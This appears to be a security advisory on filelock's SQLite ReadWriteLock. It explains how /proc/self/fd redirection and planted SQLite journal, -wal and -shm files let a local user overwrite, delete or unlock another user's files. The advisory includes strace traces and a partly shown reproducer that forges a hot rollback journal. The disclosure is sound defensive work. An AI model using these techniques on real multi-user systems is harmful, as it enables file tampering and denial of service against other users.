[`_connect_through_descriptor` builds `/proc/self/fd/<n>` and hands it to `sqlite3.connect`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L982-L1001). The assumption is the [comment at line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), \"Descriptor paths reopen the validated inode\" (an inode is the kernel's identity for a file, independent of its name). SQLite first reads the file it opened at [`PRAGMA journal_mode=MEMORY`, line 816](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L816). The check in [`_raise_if_database_replaced` at line 836](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L836) runs only after `BEGIN`. Both [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) inspect the descriptor, not the file SQLite is on. The one-level hard link of the macOS route is [`_link_beside`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1014-L1029).\n\n## Introduced\n\nThe `/proc/self/fd` redirect came with `4d45e83` (\"Merge commit from fork\", the fix for GHSA-j8f7-rjxc-mr56), first released in **4.0.9** (verified: `git tag --contains 4d45e83` gives 4.0.9); 4.0.8 does not have it. The side-file variants are older. They reproduce on `cfd4446` (\"feat(lock): add SQLite-based ReadWriteLock (#399)\"), first released in **3.20.4** (verified), which passed the lock path straight to `sqlite3.connect`.\n\n## Mechanism\n\nOn Linux the lock opens the database with `O_RDWR|O_CREAT|O_NOFOLLOW|O_NONBLOCK`. It checks through the descriptor that the file is a regular file and not a WAL database. It then calls `sqlite3.connect(\"/proc/self/fd/<n>\")` and expects SQLite to reopen the validated inode. SQLite does not open that name. It runs `readlink()` on it, which yields the path string the kernel reports for the descriptor at that moment, and opens that string by path, following every symlink. Without interference the trace shows `readlink(\"/proc/534/fd/3\") = \"/tmp/benign/app.lock.db\"` and then a second `openat` of that path. The descriptor contributes only a string. Once the directory entry behind the descriptor is gone, the string is `<database> (deleted)`. A symlink with that exact name sends SQLite wherever its creator chose.\n\nThe other user prepares the directory before the lock user runs. They create a database `cache.lock.db` (`0666`, so the lock user's lock accepts it) with a second hard link `cache.lock.db.keep`, and the symlink `cache.lock.db (deleted) -> /tmp/victim-notes.txt`. The lock user's `os.open` raises an inotify `IN_OPEN` event. The other user unlinks `cache.lock.db` and links `cache.lock.db.keep` back under the same name. The lock user's descriptor still refers to the unlinked entry, so `/proc/self/fd/3` now reads `/tmp/shared-cache/cache.lock.db (deleted)`. `sqlite3.connect` resolves it, follows the symlink and opens the target `O_RDWR|O_CREAT`. None of filelock's checks look at that file. `_open_lock_database` and `_raise_if_wal` inspect descriptor 3. `_raise_if_database_replaced` compares an `lstat` of the lock path with the descriptor's `(st_dev, st_ino)`, which passes because the other user linked the same inode back, and it runs only after `BEGIN`.\n\nThe damage comes from the first statement, `PRAGMA journal_mode=MEMORY`. SQLite finds `<target>-journal`, treats it as the rollback journal of an interrupted transaction, and copies its page records into the target before it checks whether the target is a database at all. The journal header supplies the page size and the page count SQLite resizes the file to. Whoever wrote the journal computed the per-page checksum. The content from offset 0 and the final length are therefore the other user's. Strace of the lock user's process (SQLite 3.40.1):\n\n```\nopenat(\"/tmp/shared-cache/cache.lock.db\", O_RDWR|O_CREAT|O_NONBLOCK|O_NOFOLLOW|O_CLOEXEC, 0600) = 3\nreadlink(\"/proc/3819/fd/3\", \"/tmp/shared-cache/cache.lock.db (deleted)\", 4096) = 41\nreadlink(\"/tmp/shared-cache/cache.lock.db (deleted)\", \"/tmp/victim-notes.txt\", 4096) = 21\nopenat(\"/tmp/victim-notes.txt\", O_RDWR|O_CREAT|O_NOFOLLOW|O_CLOEXEC, 0644) = 4\nopenat(\"/tmp/victim-notes.txt-journal\", O_RDWR|O_NOFOLLOW|O_CLOEXEC) = 5\npread64(5, \"ATTACKER CONTENT WRITTEN BY THE \"..., 4096, 516) = 4096\npwrite64(4, \"ATTACKER CONTENT WRITTEN BY THE \"..., 4096, 0) = 4096\nunlink(\"/tmp/victim-notes.txt-journal\") = -1 EPERM            -> \"disk I/O error\"\n```\n\nThe redirect itself needs no journal. The constructor's validation connection already makes SQLite open the target with `O_CREAT`. With the symlink pointing at a missing path in the lock user's home, constructing the lock created that file (empty, `0644`, owned by the lock user) and raised nothing. With the symlink pointing at a `0600` WAL-mode SQLite database of the lock user, `write_lock()` returned without error and the database's header bytes 18 and 19 changed from `2 2` to `1 1`. The pragma converted the lock user's database out of WAL mode, and the redirected acquire held its SQLite lock on that database rather than on the lock database.\n\n**Side-file names beside the database.** Two comments record the belief that SQLite names its side files after the descriptor path ([line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), [line 1095](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1095)). The path is not synthetic to SQLite. It derives `<database>-journal`, `<database>-wal` and `<database>-shm` from the resolved real path in the shared directory. `journal_mode=MEMORY` governs only journals SQLite would write, not ones it finds. These variants need no redirect.\n\n*A hot `-journal` makes the lock user unlink a file the journal names; no race.* The other user unlinks the lock user's empty `lock.db`, puts a one-page SQLite database (`0666`) in its place, and writes a 46-byte `lock.db-journal`: a path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. SQLite treats a journal beside a non-empty database as hot (left by an interrupted transaction). The tail names a \"super-journal\", and recovery ends by unlinking that file. The lock user's next `read_lock()` or `write_lock()` returns without error and the named file is gone (`unlink(\"/home/victim/private/notes.txt\") = 0`, from a `0700` directory of the lock user). The named file must be a non-empty regular file the lock user can read and unlink. A FIFO planted as `lock.db-journal` instead blocks `read_lock(timeout=2)` in SQLite's `open()` of the journal (still blocked when killed after 10 s).\n\n*A re-planted `-wal` puts the holder in WAL mode past `_raise_if_wal`.* `_raise_if_wal` checks header bytes 18 and 19. Whenever a connection takes its first lock, SQLite stats `<db>-wal`, and if that file and the database are both non-empty it opens the WAL whatever the header says. The pragma at line 816 converts such a database and unlinks `-wal` and `-shm`. The `BEGIN` at line 833 is a separate statement that starts unlocked and stats `<db>-wal` again. Re-creating the 32-byte `-wal` in that gap landed on the first attempt in 20 of 20 runs on a 2-CPU machine.\n\nThe lock user's `with lock.write_lock():` then holds the `-shm` byte-120 WAL write lock and only SHARED on the database. Once the other user removes the `-wal`, a second process of the lock user gets `read_lock(timeout=1)` granted while the writer is inside its block, with no exception on either side. SQLite also creates `<db>-shm` with the database's permission bits (`0666`) and keeps it mapped into memory. After the other user truncates it, the writer dies with `SIGBUS` (the signal for touching a mapped file region that no longer exists) in `connection.rollback()` during `release()`.\n\n*A `-wal` in a sticky directory makes every acquire raise; no race, no access to the database.* Beside the lock user's own empty `0600` database, a non-empty `<db>-wal` (one byte, any mode; a directory or FIFO works too) is a leftover SQLite tries to delete. In a `1777` directory the lock user cannot unlink another user's file (`unlink(...) = -1 EPERM`), so the pragma fails with `SQLITE_IOERR_DELETE`. The code in [`_do_acquire_inner`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L763) translates only \"database is locked\" into `Timeout`. `sqlite3.OperationalError: disk I/O error` therefore leaves every `acquire_read()` / `acquire_write()` (and the async variants) within milliseconds, whatever `timeout` or `blocking` says, until the file's owner or root removes it.\n\n*Further effects observed at this commit in a non-sticky directory.* A `0755` script owned by the lock user, renamed to the lock path with a one-record journal beside it, ends up holding the other user's bytes (the acquire raises `file is not a database`). A hard link to the lock user's `0600` `~/.profile` at the lock path does the same in a sticky `/tmp` when `fs.protected_hardlinks=0`. When the locking process runs as root, SQLite runs `fchown` on a `-wal` or `-shm` it opens to match the owner of the database, so root's `0600` `service.env` renamed to `app.lock.db-wal` belonged to the other user after root's `read_lock()`.\n\nA journal whose super-journal names the database itself makes SQLite open and close a second descriptor on the database, which drops the process's POSIX locks, so `acquire_read` returns with no lock held in `/proc/locks` and a writer in another process acquires (two journals in a row, one per statement; write locks are not affected). A one-byte `lock.db-wal` plus a `lock.db-shm` on which the other user holds two byte locks makes the acquire take 10 s regardless of `timeout` and raise `locking protocol`, or die with `SIGBUS` if the other user truncates the `-shm`.\n\n**The hard-link route in a directory without the sticky bit.** None of the above occurs on the `_link_beside` branch (macOS, Linux without `/proc`). There SQLite's main file is `.filelock-…/lock.db` in the connecting user's `0700` directory. That protection holds only where no other user can rename the `.filelock-*` entry itself, because `0700` protects the contents, not the entry in the parent. `_link_beside` checks the link once and returns a pathname, and every later use is by that name.\n\nWith `/proc` hidden in a `0777` directory, the other user staged a directory holding a hard link `lock.db` to a one-page database and a hot `lock.db-journal`. They held `BEGIN EXCLUSIVE` on the database so the lock user's first statement waited in the busy handler (SQLite's retry loop for a locked database), renamed the lock user's `.filelock-*` directory aside, renamed the staged directory onto its name and rolled back. SQLite got SHARED, found the journal under the swapped name and unlinked the file it named. The lock user's process reported the lock held and exited 0. A polling variant without the write lock also won (in 40 trials the file was gone after 1 to 26 starts of the lock user's program). Under the sticky bit the rename fails with `EPERM`.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-KMJ2575J`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nas_victim = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nas_attacker = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\n\n# set up: the lock database lives in a shared cache directory, 0777 and not sticky\nshared_dir = \"/tmp/shared-cache\"\nlock_db = shared_dir + \"/cache.lock.db\"\nshutil.rmtree(shared_dir, ignore_errors=True)\nos.mkdir(shared_dir)\nos.chmod(shared_dir, 0o777)\n\n# set up: a private 0600 file of the victim's in sticky /tmp, which the attacker cannot write\ntarget = \"/tmp/victim-notes.txt\"\nfor leftover in (target, target + \"-journal\"):\n    if os.path.lexists(leftover):\n        os.unlink(leftover)\noriginal = b\"original victim notes\\n\"\nwith open(target, \"wb\") as notes:\n    notes.write(original)\nshutil.chown(target, \"victim\", \"victim\")\nos.chmod(target, 0o600)\ndirect_write = subprocess.run(\n    [sys.executable, \"-c\", \"import sys; open(sys.argv[1], 'r+b')\", target], capture_output=True, text=True, **as_attacker\n)\nprint(\"attacker opening the target for writing:\", direct_write.stderr.strip().splitlines()[-1])\nassert direct_write.returncode != 0\n\n# attack: a hot journal beside the target, and a redirect of the victim's SQLite from the lock database to the target\ncontent = \"ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\\n\"\nsubprocess.run([sys.executable, \"/tmp/repro.d/plant_hot_journal.py\", target, content], check=True, **as_attacker)\nredirect = subprocess.Popen(\n    [sys.executable, \"/tmp/repro.d/redirect_lock_db.py\", lock_db, target], stdout=subprocess.PIPE, text=True, **as_attacker\n)\nassert redirect.stdout.readline() == \"ready\\n\"\n\n# the victim takes its read lock; the attacker races each acquire, so the victim runs up to 20 times\nfor run in range(1, 21):\n    victim = subprocess.run(\n        [sys.executable, \"/tmp/repro.d/victim_app.py\", lock_db], capture_output=True, text=True, timeout=60, **as_victim\n    )\n    with open(target, \"rb\") as notes:\n        after = notes.read()\n    if after != original:\n        break\nredirect.kill()\nredirect.wait()\n\n# check: taking a lock on cache.lock.db must leave the victim's notes alone\nprint(f\"victim run {run}: exit status {victim.returncode}:\", (victim.stderr.strip() or \"no error\").splitlines()[-1])\nstatus = os.stat(target)\nprint(\"target owner, mode, size:\", status.st_uid, oct(status.st_mode & 0o7777), status.st_size)\nprint(\"target before:\", original)\nprint(\"target after: \", after[:60])\nprint(\"BUG\" if after == content.encode().ljust(4096, b\"\\0\") else \"OK\")\n```\n\n**`repro.d/plant_hot_journal.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The attacker: leave a rollback journal beside TARGET whose one record restores TARGET's first page to CONTENT.\"\"\"\n\nimport os\nimport struct\nimport sys\n\ntarget, content = sys.argv[1], sys.argv[2].encode()\njournal_path = target + \"-journal\"\n\n# https://www.sqlite.org/fileformat2.html#the_rollback_journal\nJOURNAL_MAGIC = bytes.fromhex(\"d9d505f920a163d7\")\npage_size, sector_size, nonce = 4096, 512, 0x11223344\nrecord_count = 1\npages_after_rollback = 1  # SQLite truncates TARGET to this many pages\nheader = JOURNAL_MAGIC + struct.pack(\">IIIII\", record_count, nonce, pages_after_rollback, sector_size, page_size)\n\npage_number = 1  # page 1 starts at offset 0\npage_image = content.ljust(page_size, b\"\\0\")\n# SQLite's pager_cksum(): the nonce plus every 200th byte, counting down from page_size - 200